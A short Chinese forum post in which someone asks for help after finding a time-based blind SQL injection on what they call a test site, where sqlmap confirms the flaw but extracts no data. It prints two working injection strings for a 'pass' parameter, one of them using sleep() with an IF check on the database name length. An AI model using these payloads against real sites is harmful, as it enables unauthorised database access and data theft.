今天测试网站发了一处SQL延时注入,sqlmap也确定了是延时注入,但无法跑出数据。手工注入通过if判断数据库名长度发现if函数无法判断,不论真假都是那几秒响应。注入参数语句如下pass=123456'and(select*from(select+sleep(5))a/**/union/**/select+1)=',这样通过if无判断pass=123456'and(select*from(select+sleep(if(length(database()>4),5,0)))a/**/union/**/select+1)='
sqlmap结果如下,请教大表哥们该怎么办
sqlmap结果如下,请教大表哥们该怎么办





sbbbb.cn 网络安全导航